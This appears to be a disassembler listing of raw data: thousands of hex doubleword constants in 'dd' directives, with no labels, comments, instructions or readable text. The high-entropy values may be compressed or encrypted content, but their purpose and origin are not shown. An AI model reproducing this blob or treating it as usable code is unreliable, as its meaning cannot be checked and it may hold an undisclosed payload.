dd 0FED50518h, 0BF10EFE9h, 0B4042C53h, 904AD1Fh, 80C0AEDAh
dd 7EF6F7CDh, 0EFF02CDEh, 24D9BF7h, 0E3D0F5CAh, 0EBDDF1B5h
dd 251758FCh, 41BBAC84h, 0F7FBC6F2h, 0C36870CCh, 0E9842394h
dd 1BE8FAD0h, 510E85D0h, 0CB4BE188h, 0E92C8B06h, 923A1025h
dd 6558C034h, 4663F41h, 0E44E6B17h, 0EA88CE05h, 8E480634h
dd 0A4FA294Ah, 0C15F0880h, 0D102E209h, 50D52EAh, 0C3A32E2Bh
dd 164CE229h, 2618F0Bh, 0C82BAF0Fh, 6C40BDD7h, 74F19758h
dd 0D8746302h, 773B6011h, 613C58F1h, 8ECFC824h, 0F700DBB7h
dd 7E7C05Ah, 0F000F895h, 0B65225B8h, 0D7C01409h, 416E828h
dd 0AECC599Eh, 0D05B00B2h, 98CA80E2h, 0E913DAF6h, 0B2537E39h
dd 0C73FCBA6h, 0FA06F412h, 0CA4EF3Dh, 0E956582Fh, 2B316525h
dd 0AE205503h, 188D2D5Bh, 0B657D424h, 5D7607A0h, 4D23E709h
dd 8635E60h, 0AB2C9841h, 452D7EEBh, 819C5721h, 9BA526Fh
dd 2D21340h, 12A1766h, 84710D6h, 37155A4Eh, 0E8AD70E5h
dd 4B436881h, 0F48DD41Bh, 15177F72h, 54087B28h, 54003A4h
dd 42BA2A20h, 98464D7h, 3628746Fh, 0B90436F8h, 0D7098701h
dd 476082ABh, 0C7B5A5C0h, 8CE8BE81h, 29341315h, 81DF2DD6h
dd 5DC92FA6h, 0E63921E7h, 404EC95Fh, 4A728513h, 3A205D7Bh
dd 0FA013B1Ch, 88AB3597h, 59972796h, 32CF88C9h, 80D4F607h
dd 0E728BBA0h, 0FD300758h, 0BEC5FE5Bh, 2B07D349h, 0AEEE621Eh
dd 664400DFh, 3B8FB753h, 5B3FFE08h, 693F619h, 5A7B3016h
dd 2C4CE8E0h, 0E4BA1058h, 0F57E052Dh, 69FA5593h, 0A4FF3CC1h
dd 1A3FE0C1h, 0C72FE006h, 26B9D1F7h, 0A7700B5Bh, 712BB0E8h
dd 72975A73h, 400882C0h, 865434C0h, 27F24EBDh, 0F212ACC3h
dd 4C72B0DFh, 896681EFh, 0DD69E864h, 0ACC01430h, 0EC6B669Bh
dd 0B7A72CD1h, 0D01444F7h, 43DB6899h, 2F616695h, 8BDBC217h
dd 148D32B1h, 9D03F26Fh, 6A972062h, 919D09Fh, 4C6F7818h
dd 0D83FAE5Eh, 761E6B74h, 1F6D050Dh, 0F9AF09AAh, 62772BC2h
dd 95C1503Ch, 0F5185DC7h, 4A80E991h, 0C999AC2Dh, 0D2310252h
dd 2EB075CFh, 8916B951h, 0BA006A59h, 0C12901EFh, 0EB0CC072h
dd 0E93DD14Eh, 756DDF4Dh, 56C33669h, 0A0976E35h, 0D0590104h
dd 2DEAA4F3h, 918D6B9Fh, 932DFC6h, 3CFE146Ch, 90361DD7h
dd 7F45BD0Ch, 2FA2C3A0h, 2E09272Fh, 65B77150h, 0FE693477h
dd 0F882B7C9h, 218015FCh, 0AEB76075h, 0D6F3CAAFh, 0D3CE0817h
dd 57DF6BA2h, 8FB05092h, 3CF50780h, 0B259EA28h, 37105A5h
dd 12725388h, 32280D30h, 440DAF06h, 83E8B550h, 37AC7EB0h
dd 0BA28517Dh, 80BF7A02h, 5C583D8Eh, 329C9D7Eh, 305A0F81h
dd 7C4EB66Fh, 0CC2F56A7h, 0A64B4BC3h, 54D8AEADh, 82BD1396h
dd 0FFB4D32Fh, 0CC90AC18h, 50619195h, 0BA145B21h, 39CC87FFh
dd 7205F58h, 1DB22727h, 869A1440h, 0FEA8D281h, 69042793h
dd 5EA873FBh, 3324DF4Bh, 1DBCBAFh, 76C2BD55h, 93600503h
dd 4A3573C5h, 74D0A808h, 82892549h, 0D610C768h, 0F4166245h
dd 8949E3F4h, 0E99763D3h, 22468BBh, 5B67F8F5h, 6F1B28F4h
dd 9033585Bh, 0F4CC842Ch, 291E6283h, 3BAF0878h, 44509405h
dd 17B90BBFh, 407E51D8h, 89395EF9h, 815F89F2h, 0DD6007CAh
dd 6DD04AA5h, 2D7DC7EAh, 17F82D49h, 88E8555Bh, 3369B34Fh
dd 204BC758h, 0B00FC00Ch, 0C0C330ABh, 0E380D3F6h, 0AFE1E7EEh
dd 2CF3047Bh, 21BCB529h, 0D4C121h, 2F5CB768h, 0C31A0F25h
dd 554EBB03h, 663552C8h, 5F96391Fh, 101E88Fh, 47140277h
dd 4105C840h, 46903E40h, 97D6E505h, 0C067C48Dh, 5396F7CFh
dd 6825AF78h, 0A6EBF976h, 0BCE01292h, 22A5D6F8h, 51823684h
dd 8699F0AAh, 71EDB009h, 0B3BC7701h, 0D9255B50h, 3D8C1A4Eh
dd 0E2264F13h, 0CE12DEBEh, 4DD7808h, 0E1E5305Ah, 0F9D97EFFh
dd 9759E8F0h, 8B6E2879h, 4A7D8968h, 0B7CE4111h, 0FF7E160h
dd 5BFA88AFh, 0B8D3133Dh, 0E95A04CCh, 0CD8DA798h, 0C4A7B22Fh
dd 9F81C138h, 9B8F6765h, 28CDEF80h, 0DEE2D950h, 2535FC41h
dd 0F1F22E0Bh, 0D7604A1Ch, 3546F008h, 5D8D7EE5h, 0FA54ACE5h
dd 3BB6EF01h, 526170FAh, 4458857Eh, 12A35AFh, 0D1885153h
dd 0B421CFC9h, 0F6B5102Ch, 0ED5A10D6h, 813E04Eh, 6894F0F2h
dd 5CC6F03Eh, 9D227571h, 565C7C40h, 3514020h, 233A355Bh
dd 8E0734C8h, 0EC6F2D02h, 55319952h, 72669702h, 544EFEC6h
dd 0EAD343A2h, 2E8096Ch, 68C8310Ch, 8C561052h, 34825645h
dd 0C67309A6h, 5362C028h, 0C71CF20h, 0BF48460h, 380C2360h
dd 0BD12DA31h, 1EB0F7C5h, 0B588A78h, 36CE94Ah, 18E4B05Eh
dd 0F16FB2A4h, 62D660ADh, 219AF9EAh, 6D29758Ah, 719D9657h
dd 4923B411h, 0FB024174h, 4207CB0Fh, 7CB0820Dh, 0CF43DD06h
dd 0CC08E638h, 0EC845B2Ch, 77BDC0FEh, 0D80FD16Dh, 48E9E889h
dd 0EAC10418h, 8EBCB402h, 3FDBE17h, 9CEB1234h, 0C758E925h
dd 62AD909Dh, 41506406h, 0B13ACF85h, 65BEF16Bh, 51342A34h
dd 94A5B50Ah, 69EE8181h
dd 0F8F2B572h, 69D89517h, 58EB84D3h, 49A80C78h, 0E97C5209h
dd 0E3372B6Ah, 0CA1BC29Ch, 0EB1C0434h, 0C7058EAh, 3F2E118Dh
dd 82C95048h, 6D1D4D2h, 0A320445Eh, 0A35F6165h, 761C4F21h
dd 0B3D45059h, 6B6B3B9Ch, 4A3DA663h, 0D3C46759h, 1A2D813Fh
dd 0F06B2E58h, 536A3664h, 1F7F4AB4h, 531D4EF6h, 0A6AFC586h
dd 0C0FE092Fh, 0EBF6832Ch, 0AFC3832Eh, 0F9CAB32Eh, 0C609EC4Bh
dd 4B6936E9h, 9226A250h, 9BB09CC4h, 2929C922h, 22F7BCCAh
dd 5CE073BEh, 7B66EF79h, 0C10317B6h, 36F55AA3h, 0D2F6E15Eh
dd 6523D12Fh, 8B14C538h, 0DBBC9346h, 8C97BD52h, 0C131AB82h
dd 0BF00B4C1h, 353D247Ah, 4FE73B2Bh, 5C34D049h, 0D8074301h
dd 0BD070D5Fh, 5EE77240h, 2C6852E1h, 3E34D1CEh, 3D363F79h
dd 0CC515F1Dh, 812E8FB9h, 7A2EE118h, 41D7F10Ah, 48BD6044h
dd 0CF3021FEh, 56F71259h, 0EC82D64Fh, 22D1103Ah, 0D436865Fh
dd 0D2707D01h, 58C2213Bh, 0CB29A02Eh, 71412E00h, 505527BFh
dd 8FE9150Fh, 0EA20B4E1h, 7142F2B7h, 0B689495Dh, 3E6868CFh
dd 3CF6B688h, 100DE6DAh, 0B84E80ECh, 9F939E7Ah, 0E5209FE1h
dd 40EEF0F9h, 44B830Bh, 0E266D131h, 0BDCE8000h, 0FEEE06C7h
dd 891E1D6Fh, 0C36E6CCh, 0F3880045h, 0C0EBD05Ah, 0CBFC05E3h
dd 6941FD48h, 4EC0058h, 74D02867h, 5AF9E52Ch, 13488C28h
dd 59127920h, 2DAED030h, 2A6861B6h, 0BD8944D1h, 0D12C2EB8h
dd 8BF10E89h, 92601D7Fh, 0FE2504C9h, 3999BF21h, 3647293Fh
dd 0ABBC5B59h, 4817A410h, 1F080238h, 77893516h, 0E7C11D30h
dd 0EF07B1B0h, 424DEB7Bh, 409CC660h, 503E5F83h, 994B08F7h
dd 4584C367h, 5DEB6F63h, 0A08BD779h, 0E1956402h, 999A918Dh
dd 8813F358h, 205562EAh, 0B8A9F666h, 0F77813ADh, 9262EAD6h
dd 546ACABCh, 0E7F3E930h, 0EF12BA0Ch, 0B37A9FC3h, 0C4584596h
dd 4155160Ch, 0FBA05356h, 0B4C0A104h, 0F432E81Eh, 0F48A4FA6h
dd 777EC678h, 0AF274C7Bh, 0D2BE22F5h, 0C6800191h, 8E5430BEh
dd 501EF3E0h, 0C4CB64B4h, 99C84C7h, 0EEED1DAAh, 70210E2h
dd 20478F5Fh, 0D4403B95h, 0EB11A8BBh, 98AEA67Eh, 3DC80268h
dd 9AE90B21h, 94F586CAh, 49AD4A9Ah, 0D60ED7FFh, 6075B492h
dd 0B9512BC0h, 134E59AEh, 64CE2901h, 8718FFB5h, 276844E8h
dd 657C636Fh, 428F5702h, 54216038h, 12D824E9h, 0ED3CCF44h
dd 0B357F942h, 9EA2E176h, 6BD8281h, 6E2ACA77h, 0DFE04417h
dd 71A14E59h, 3FDA6817h, 0B33A2699h, 9EFD5B1Ah, 5531A05Bh
dd 932A925Dh, 0DAFA26FBh, 6B4D30C3h, 0BDA98E68h, 0DA9871D2h
dd 3D8AB05Fh, 0BE38015h, 0C7D05289h, 0C2E9350Dh, 25F8208Ch
dd 81A8582Ch, 0F726AC20h, 1C0E4FD7h, 0A0DD263h, 106A9B48h
dd 67C4957Bh, 5E51D1BFh, 6510E159h, 428E2EAEh, 0E4FBBD5Bh
dd 0C88B313h, 940BB759h, 76728054h, 0F1CC8CDAh, 0FB97EE27h
dd 87273FCCh, 0DCB99CC1h, 0F58EB60h, 149E0409h, 86F85F52h
dd 48C37F10h, 2DE3D633h, 80C44940h, 0F3956354h, 0B55969C8h
dd 3EE1FB25h, 45B26D2Ch, 4E5BF9F7h, 0C714CD88h, 0EBF580C5h
dd 0CFB67B03h, 8C16D0E1h, 0EF215E58h, 52C140C7h, 0B9C2B3B4h
dd 3C06F97Dh, 0B20A0817h, 884E7852h, 25FEC150h, 8460FC58h
dd 0C32BB151h, 77B03D7h, 0C7A186F4h, 71BA20F6h, 0B4B6014Eh
dd 7759B118h, 0F681EAB0h, 6715B369h, 805FEE20h, 922F27B4h
dd 277B4A58h, 1E97D961h, 15774950h, 0C97F1BD5h, 31011EE6h
dd 94A16FD2h, 9766B36Bh, 16DE3E54h, 0E3D1E5A2h, 0FE74CAB7h
dd 0E1C50581h, 0A91D4605h, 0E08412Ah, 0D1A012DCh, 0BD0260F2h
dd 785C7A93h, 0F730BF50h, 9E5742DDh, 0C6D64AC6h, 584F58DFh
dd 963C8DD8h, 5F9A3A0Bh, 80565360h, 856BF100h, 4F01AF22h
dd 0E14DACCAh, 652B02C2h, 0A6B4323Ch, 558FDC8h, 2475DAB7h
dd 1761D001h, 73F79795h, 0E0CC6C3h, 691C6F09h, 4683415Dh
dd 26A39735h, 0F4520E68h, 7ADF2A89h, 42360B50h, 1AD753DEh
dd 42685D34h, 0B92764C9h, 21898606h, 974D2782h, 1E2F8D53h
dd 95EAEC7Fh, 8C44AEBAh, 7015E03h, 98ED355Bh, 0B8051D1Eh
dd 0B587214h, 84FE940h, 0F397E444h, 20F4A59Ah, 5FA1DAB1h
dd 9B315475h, 192B43Eh, 0A557FB3Fh, 400EFA61h, 8A97A11Ch
dd 66937B7Fh, 7EF06304h, 2825FAE2h, 0BC20A570h, 0E58825D9h
dd 0CBD35450h, 97BE3BCh, 7F9DE92Bh, 76BF3CC8h, 0D8FF1171h
dd 7AB41768h, 359D046Fh, 0F5C4D4ECh, 0C7CDBBC8h, 0AA28CAE5h
dd 352124h, 0ABBE581h, 0DFA30F2Ah, 155D692Eh, 8595D444h
dd 0FCD02DEBh, 48926E27h, 0EE902590h, 0DA2B6600h, 0E9F02921h
dd 3FE16020h, 5B12B1F7h, 0A0C73A4Eh, 3250AF8Fh, 281DBAA0h
dd 9D67D18h, 0DAE95FF8h, 45575AE2h, 60F29C62h, 5E4DB198h
dd 0E6012EB3h, 1E85FF69h, 0BC82ABFBh, 0DE17C853h, 29151256h
dd 717105Ah, 0D7015B0Fh, 5510E154h, 25583BA6h, 9D335870h
dd 500012E5h, 0FB035268h, 8E2ACF09h, 93564E10h, 4A9D8B82h
dd 0CF3D49Fh, 0EDCF7677h, 0B3845A97h, 7C82D29h, 8080EF26h
dd 29F178F6h, 4A83DB6Fh, 60181FC7h, 5BD36815h, 0A2B884F7h
dd 0A535CDAFh, 70387439h, 0F9955FFEh, 78E9E140h, 0C4BD2CF3h
dd 8514A0D7h, 22F90716h, 0B0A08759h, 169F318Fh, 98F8E695h
dd 1B6450FDh, 3A794120h, 28B54401h, 59D12CE8h, 0C79FF028h
dd 86618724h, 0E9124B66h, 614E93F7h, 8D3CDDDh, 2E35D060h
dd 2D639C83h, 0BAF00164h, 82D27E82h, 1CC2663Dh, 7FA6EED4h
dd 5B042310h, 0FB6C6068h, 34AA6C34h, 1190AF82h, 0A9BBD6E9h
dd 1420E3E6h, 40615A4Dh, 7E0F7512h, 0D37D0117h, 21919EE4h
dd 0EF880A0Dh, 402DA9Dh, 0BC721A68h, 5D798623h, 0EE170ADh
dd 0C1346515h, 0C23F02CFh, 2C429E7Dh, 95B5740h, 2969BA09h
dd 80188CAh, 2025913h, 4A5AE956h, 537BFC85h, 6E9486F1h
dd 49BC5892h, 946FBAFEh, 0D684EA28h, 0C86781BFh, 0FAD13ECCh
dd 0A5681A26h, 8456A2E5h, 0A2A11DE9h, 10E5DFE6h, 9F4CBBCh
dd 584BCB02h, 51AB740Fh, 0C22E9772h, 6C1EC8D7h, 0FAD984CBh
dd 3A9C003Eh, 0E6817F05h, 0C1274249h, 3B86701Fh, 0E90C0102h
dd 245F9C43h, 0A1754695h, 5629C9C4h, 61D2F203h, 6C0546AAh
dd 0B3431016h, 4E680AA0h, 584EA34Bh, 0FAA87E50h, 8F975EF3h
dd 0BA3D66B0h, 6F0C5017h, 5F189558h, 8B97FAE9h, 1081664h
dd 167E4A05h, 2EE8C128h, 4091ABC0h, 51450912h, 57D282E9h
dd 410B74B4h, 6B1956B9h, 0AF09E851h, 0AACA94C6h, 0E916F4D4h
dd 13F1C184h, 0E54D3504h, 80B3B601h, 512D60C6h, 14270794h
dd 9F91B2FFh, 0F24AEA53h, 9DD831A7h, 642B8365h, 810DC535h
dd 522BFCEh, 6BB57090h, 6095875h, 3000AE38h, 7E7C15Ch
dd 4A26E94Fh, 0EC82EEF0h, 0D4733414h, 0D82905E5h, 480A182Dh
dd 7520064Bh, 2BFC1E2Ah, 0EC0CF00Eh, 102CB061h, 6A03314Fh
dd 0E869175Dh, 51C07EFh, 7CE93755h, 7826E2E1h, 5D2E64FDh
dd 346581BFh, 0A60060D1h, 524FE836h, 805BFF5h, 12A9BF05h
dd 6CC5DDAFh, 1E81A493h, 8C6AF6A0h, 0E2266846h, 4AC1D066h
dd 0CD42553Ah, 0A1562Dh, 4B3D0605h, 66975F69h, 301AA05Fh
dd 16B1D3ADh, 75FA8074h, 40F31520h, 137D68Eh, 1CF01C5Ah
dd 2CD391EEh, 4905E9Fh, 3BFC8B4Dh, 0E1322ACh, 0D9F6F5B1h
dd 0BA89D149h, 0AA05BFA4h, 8682342Dh, 63C250F7h, 0DCA1CAD5h
dd 0E95E96CFh, 0B2D925FBh
dd 6B0C0408h, 0DDFE5F97h, 0F747BCDh, 0D817B33Ch, 3C132C5Ah
dd 416B7C81h, 1DADC271h, 0AD803E63h, 25891123h, 58E2292Fh
dd 3B8A0808h, 68D07A81h, 6BCD01AAh, 0E5DC242Ch, 0CBCE839Dh
dd 0FF61F5Fh, 0FC51D0EBh, 3DB29C58h, 0D53E59Eh, 919E15h
dd 0B2600FD3h, 789289Dh, 0D6083224h, 0F06025A1h, 71AE9BDCh
dd 0B0D719Dh, 0F2F1699Eh, 0C02B062h, 0A41CF2D6h, 5CA70D5Bh
dd 4A712D2Bh, 1698DF09h, 24509508h, 0C8370250h, 70AF85A5h
dd 0D11725AAh, 550B6B52h, 78299116h, 0F3403F49h, 0EEA3B8D0h
dd 126E4B04h, 897283D1h, 27923E72h, 0BF8D169Fh, 8FBAF7B0h
dd 0C2EED3B7h, 0D512B850h, 8F8204E2h, 2CF4E194h, 9FC15065h
dd 0DC2B17BCh, 9B31689Fh, 8DA76F4Bh, 0BA799A0h, 26DB6D8Ah
dd 1BC6610h, 599929C4h, 0C4F48807h, 89B4C8E0h, 2519FDEBh
dd 0C4B16615h, 8003D533h, 0CA8135C1h, 0EE097B59h, 687FE09Dh
dd 89581CE7h, 0F94FD43h, 459EB75Ch, 8022AE4Bh, 3F721522h
dd 0B7E91B0Ch, 0BEA7566h, 76E34BBDh, 996CA200h, 31024DC3h
dd 82685EF2h, 446D5C4Eh, 0F500805Dh, 0A0A4A37h, 0A8E5D12Ah
dd 5E49A202h, 0E749704Bh, 0E9688C3Ah, 0A685FC4Bh, 0DED998BFh
dd 4F94F2FAh, 28EA5816h, 2694E8AEh, 4AC9ED12h, 0A0B149E0h
dd 0B02C75Ch, 0D78975F3h, 0F10C5A04h, 0FA2C2A7Eh, 351D1768h
dd 0CCD3050Bh, 5534BBA4h, 9320D013h, 2618D5C7h, 175707B1h
dd 0CD72545Bh, 385EDE5Fh, 55C54AE9h, 0DE10DCAFh, 0DB2119D2h
dd 0F68C5F1Bh, 0C5AAF829h, 5D13950Bh, 0B074A25Eh, 0C371F66Eh
dd 0D92DE73Fh, 0C516DC89h, 1342EC01h, 9288B970h, 3F41F9EEh
dd 9607DA27h, 0AD97DECFh, 4F2F0CECh, 0D7EA59F8h, 0AB6619A0h
dd 3E5FE9CEh, 79BA6824h, 0E8950472h, 4EA9D489h, 0E9C225A9h
dd 0E5B1CF8Ah, 29BA5394h, 4A2C8BF1h, 8EA84F33h, 98B708F4h
dd 44575F09h, 9852EE16h, 0C8FA4E24h, 68185619h, 0AD870B30h
dd 605682BDh, 5A363501h, 142E8CA3h, 0CB25A919h, 566B2254h
dd 575CF05Dh, 0C53D469Fh, 5E9DE340h, 90D10B3Fh, 25088D65h
dd 6852009Ah, 66897703h, 0FD5D3AF6h, 4140BBBh, 3A317425h
dd 2F70907Eh, 3E5B5E0Eh, 0F610580Bh, 3574400h, 2E1F9268h
dd 9322D567h, 7CEBA35Bh, 69E4424Eh, 0FF09DC2h, 0AD84CB5h
dd 0F861D0EDh, 74CD07C7h, 80311408h, 690BFDFDh, 4AB1F35Dh
dd 0ABC9ABA2h, 0ECB7CF50h, 833B3161h, 2C427F9Fh, 0DDE896A5h
dd 649250Dh, 8C72BD8Bh, 0C11E808h, 0E15F05D8h, 0D088E97Fh
dd 50525C9Eh, 0A0B1DDF1h, 7D6FB3DFh, 3FE65761h, 1C7A1210h
dd 8979F580h, 0D88842C5h, 6F8D29CDh, 0E7463CEh, 0B3530A00h
dd 80F7B1B6h, 0A0D473F1h, 99D930B3h, 69420BF1h, 19B7C110h
dd 5BFE881Ch, 0C5D1F317h, 0B2007465h, 64D8B5DAh, 0EED80E4h
dd 0EF8853A5h, 2BE9F842h, 0D52D0AC8h, 97B1502h, 8905D029h
dd 0C096FD07h, 0E5E0C34Bh, 2A56416Ah, 828FF5B0h, 0FD92427Fh
dd 2EAE64C0h, 0FA917A24h, 5239940Fh, 0CFEFCE00h, 0DD0DD132h
dd 0CA170118h, 0A2DF2968h, 280E818Eh, 895966CEh, 7E3389F0h
dd 0B5132A1Ch, 164B6A73h, 0FF9755B1h, 0A626F52Ch, 0ED589789h
dd 9A4A9F34h, 1689E379h, 4CB2D750h, 7FA03463h, 574C70DCh
dd 0B9807357h, 0E4171E5Dh, 9DB58B38h, 49A8D9C6h, 0F59CA1E6h
dd 87729C60h, 4A1CFA44h, 0BB8A4EF7h, 0C37D03BAh, 7039FA4Fh
dd 0A278B781h, 0C79D0B7h, 86D49380h, 0C00A830Eh, 8C0BE901h
dd 58AFDEA5h, 1CC9D6E2h, 0BAA8F20h, 0B822606Fh, 2578134Eh
dd 7450709h, 53E04E05h, 0D8B9E9AAh, 0A7EEB1C3h, 0D94E8324h
dd 13726FD2h, 6F78EA92h, 718028E9h, 3D0BFC1Ah, 41902D36h
dd 0A1044A1Ah, 0C5E8EFD1h, 6FA8BA80h, 81974A8Bh, 5DEB09F3h
dd 1637230h, 19441A1h, 0D2E4E9CBh, 349CE7D5h, 612DAB0Ch
dd 12846738h, 0D0A81255h, 28F8EA0Bh, 36422576h, 645F07FEh
dd 7F74E130h, 8CBA8875h, 0AC5D68CDh, 6B499EF9h, 403B51E5h
dd 1C685A54h, 0A2300A4Bh, 0BD55B8h, 14F7816Dh, 0E911D356h
dd 181BD927h, 805FC5F2h, 5A045952h, 0C1314891h, 2080C86h
dd 0B12E181h, 244001C9h, 0CE7562D0h, 5AB5E9F8h, 0D591A2DCh
dd 1985E84Ah, 0F625BFA1h, 0B5E07C1Fh, 0F828D001h, 45BEC2Ch
dd 7F5E217Fh, 6AA9412h, 0F154737Ch, 2C2902B7h, 4D04143h
dd 44D77CD2h, 8F32BA54h, 86204155h, 0EBEA8004h, 429813EDh
dd 899534F8h, 0C15E82BCh, 0FB5D05BEh, 925A6DD8h, 0DDF73BACh
dd 25C49B94h, 5706F600h, 0F1315F71h, 25E52FCh, 0D83BCFD9h
dd 6D2456A3h, 0EE067B3Ah, 0F2424E05h, 0B0495ED3h, 0DB975EBFh
dd 5E0228C8h, 139FE3B4h, 33915DE4h, 7C3C563Bh, 0BC7551CBh
dd 0E2379891h, 89B272Ch, 337DD662h, 20323865h, 65A12125h
dd 2E2EF368h, 0F63B8999h, 0E0B64A5Dh, 4E7E0A48h, 4A2FA750h
dd 0B597AAD8h, 9351900Bh, 0E2E956E3h, 8624FF7Ch, 765D0908h
dd 9EDA25A8h, 0F1B3A325h, 535B92D6h, 0C2D1C153h, 124A7213h
dd 38EE5939h, 0DB40712Ch, 0F5214A59h, 50AAEDFEh, 80C281F8h
dd 17897B18h, 2D721FF6h, 787465C4h, 13ED840Ah, 0B1215D25h
dd 0FD2016EAh, 1C26B402h, 20EE0814h, 0F47D9A7Dh, 4A83BA2Dh
dd 3E3DE087h, 5F77A318h, 835ED46h, 0DA01584Ah, 6C970820h
dd 2A0F863h, 68C7E9B9h, 565951C3h, 1FBF5B13h, 0BA6D8946h
dd 0A265B17Eh, 0E9E69C5Fh, 0B505FE25h, 69CAF59h, 0D5B9524Ch
dd 0FC3B6301h, 30D6295Fh, 3109FEBDh, 0F9407F3Dh, 5A368A87h
dd 3151A5A9h, 0CBD536E5h, 0BF574603h, 0CCCCD36Ah, 915A5ACAh
dd 2897BD7Fh, 651E9229h, 4EC4BB92h, 9754F3AAh, 256135AAh
dd 9574BA79h, 0E5D46BA6h, 2220FE27h, 622B177Fh, 0BF2F2498h
dd 8F719EFh, 0F155C225h, 0E9B1FEADh, 99A68CFh, 7D5BA568h
dd 0F8F668B2h, 79A63C1Dh, 0FA62F712h, 297372D1h, 0BEF20D86h
dd 0C641C8ADh, 1E42DA4Fh, 510024DDh, 278FE017h, 9313B4Ah
dd 0CE2B17A4h, 0FBAC5FACh, 0EC60263Ah, 95B831BDh, 0E4F0C25Eh
dd 2B5C62E9h, 55DC389h, 0F2AC5800h, 0DC817C2Fh, 0E06404ACh
dd 0AB955F6h, 1A486884h, 7BC0C2BCh, 0BD464A23h, 0AC425EAh
dd 0A2BC4FE9h, 3ABF2D3Eh, 120D6E00h, 354BDE5Ch, 0E74F080Fh
dd 93DAE002h, 2DE94919h, 0EFD65221h, 0D26ECE71h, 1FCBD218h
dd 22B2EDD1h, 1631487Ch, 8E4315AFh, 0D94CD068h, 0B02B5A4Fh
dd 0B5985020h, 66393C92h, 0F6F05EADh, 4F4262C8h, 0C90B7F47h
dd 37255A98h, 7CDF0FECh, 0F51C7C2Fh, 0F0AADF6h, 5DBC222Fh
dd 0F380D9AFh, 277246BBh, 0AD9FFE90h, 523F0C92h, 0E904079Eh
dd 0D30F955h, 0B0B7A444h, 4EFD2965h, 0F3CB465Fh, 0F23C63B8h
dd 545AADE7h, 4F89024Bh, 8F605F25h, 0B881DCB4h, 0D0A7222Bh
dd 25AAC65Dh, 4D0288E9h, 0B733C8Bh, 0DD37E941h, 0DB41222Ah
dd 34E58100h, 62E63D07h, 0ED00D53Ch, 0CD979FF9h, 1A97EB89h
dd 0E92B8359h, 8DBEE49Ch, 0EBD1E7F7h, 64149673h, 0C302F309h
dd 328EB97h, 0AAC7819Bh, 0C0C5C05Eh, 278E5C67h, 0DF84F54Ah
dd 942B74EEh, 5A95E703h, 0D65A9382h, 9E55D28Ah, 15C4B7C1h
dd 13502320h, 0F427A468h, 6F995F2Dh, 0B340F14Dh, 0BD49424Bh
dd 47F54380h, 4C582B59h, 93E43D08h, 0F7B94DF0h, 0F2E90840h
dd 752FB794h, 39063E8Ch, 0F2F2DBE1h, 0C2019868h, 7E952190h
dd 420026C9h, 1877807Bh, 8669227Ah, 0AD277995h, 0E9522E80h
dd 55D3BF33h, 0E4865C04h
dd 58A4590Fh, 0F8849393h, 45981EE9h, 9CE28126h, 0C2FB974Fh
dd 0C40B52FBh, 7FD0FA74h, 0B70B3630h, 0E402CBD8h, 0E93BCD69h
dd 0D3286B53h, 32BEEC5Fh, 7A2C4040h, 87ACB4DCh, 29272BD2h
dd 80B4DC0Fh, 0D0E6C58Eh, 0FE480FD7h, 0FFD5F5Fh, 0ADBA81E5h
dd 4F5F367Dh, 55565CF9h, 346C2917h, 0ACE6C271h, 0FCAC5805h
dd 68CBF201h, 0FD420A0Eh, 1E12C772h, 7104015Eh, 6E1BE296h
dd 64874FB2h, 222392D8h, 296FF88h, 0E3C1042Fh, 0A8DBAFC1h
dd 0C40B050Bh, 607D07FEh, 83C03C24h, 1AF61A05h, 9C82E0EFh
dd 559302E5h, 2492ED1h, 84628281h, 0C4FBEF3Dh, 483287A0h
dd 0ACA2BD13h, 4EF95B10h, 4318FF35h, 482858BBh, 441242D3h
dd 8F50E05Ah, 9BE928C3h, 4B245C4Eh, 0CA54FBF4h, 0AC8B4F3Eh
dd 7D33CC09h, 0F229C089h, 0C18A5B96h, 0E979B9DCh, 5FD9C8FEh
dd 1C6F2D21h, 130DCCA2h, 6BB89BFCh, 0EF8477E1h, 0EB50A43Dh
dd 0CF77BB0Fh, 0D24B6447h, 44C57592h, 823D24A6h, 90F752EDh
dd 9648E999h, 0CEEB2E6Dh, 0BCDE3F98h, 2045C69Fh, 679DA4AAh
dd 939B5E3h, 202BA31Ah, 0D56BE971h, 0B54FB816h, 505D6DC1h
dd 3B858C8h, 0C1CC9474h, 0DED83105h, 0E8480108h, 6F084105h
dd 1CBE331Fh, 4A3A81F8h, 53A20BFDh, 5F2F32FDh, 2431C7E9h
dd 30E35D93h, 6880B2D6h, 0DB5714A0h, 0BD45CF16h, 7477866Eh
dd 63495EF4h, 32250241h, 75C128FAh, 605D982h, 54C5B379h
dd 0F5FBA21h, 0F3801884h, 709C1D2h, 3FC404E5h, 27850982h
dd 0A36CE2F9h, 2C4BC57Dh, 61D913ECh, 6D563693h, 63251259h
dd 0DDC634FCh, 95206855h, 0B35315F5h, 0C10B64AAh, 4B0105EFh
dd 89AC3BC8h, 454F23CAh, 6AC6C91Ch, 5BC3E89Fh, 405C816Dh
dd 325A25D9h, 62243C5Ch, 7F213E0Dh, 9F616D12h, 85E7BA68h
dd 115C02A7h, 0C3CB0ABFh, 0BEE42708h, 5594CF96h, 15ED4B9Eh
dd 3181F900h, 0E62BC473h, 2D2F5951h, 51B610E3h, 2F8552Eh
dd 5D27EB2Bh, 0A2751AD5h, 7C9A49BCh, 462360F6h, 7FB074C1h
dd 8A4A1B90h, 0E9386B83h, 78606CFDh, 0D3724012h, 3A08E05Eh
dd 0CF898401h, 245BB659h, 35811366h, 7DAB7A9Ah, 0B7AACBE8h
dd 0FD69BA3h, 0C7291C88h, 8858E2FBh, 0E05F7495h, 0EB685958h
dd 96CC745Fh, 0B3114B95h, 0ECD84AA4h, 80C14098h, 7EFCEA6Eh
dd 0D3D96E8Bh, 41A5BDDDh, 2A5D5341h, 0E9C668A2h, 522E4B15h
dd 370BFE88h, 0E91A7675h, 46935D6h, 0FE1294E8h, 6EF6F812h
dd 2FB4417Eh, 0F22AC4B1h, 904D3B3h, 0C716D35Bh, 3E483D11h
dd 418ED82Ch, 0BFC50084h, 0EC4F080Eh, 0F42F58E8h, 77813800h
dd 53121720h, 0CBD050Ah, 0FE5B3914h, 0C2CB00D6h, 0BD0C8F10h
dd 70EF4201h, 0F81BE9F3h, 583D2A2Ah, 71A62D37h, 2C9181E5h
dd 6C4B03C5h, 0FE6817FFh, 0E5EDC221h, 0B2AD773Ah, 665DFD16h
dd 1DC449E4h, 4296617h, 0AC763A6h, 0A109C9B5h, 9F45C45Ah
dd 18BD93F0h, 97F010E3h, 0E98976CDh, 2945E16Fh, 4C5A1C9Eh
dd 0B912EE44h, 7B73DB02h, 60E1C166h, 1402C917h, 0F3641B5Bh
dd 8553A505h, 4984BE9Bh, 0BDEC42FBh, 0D543FA27h, 2F56EFADh
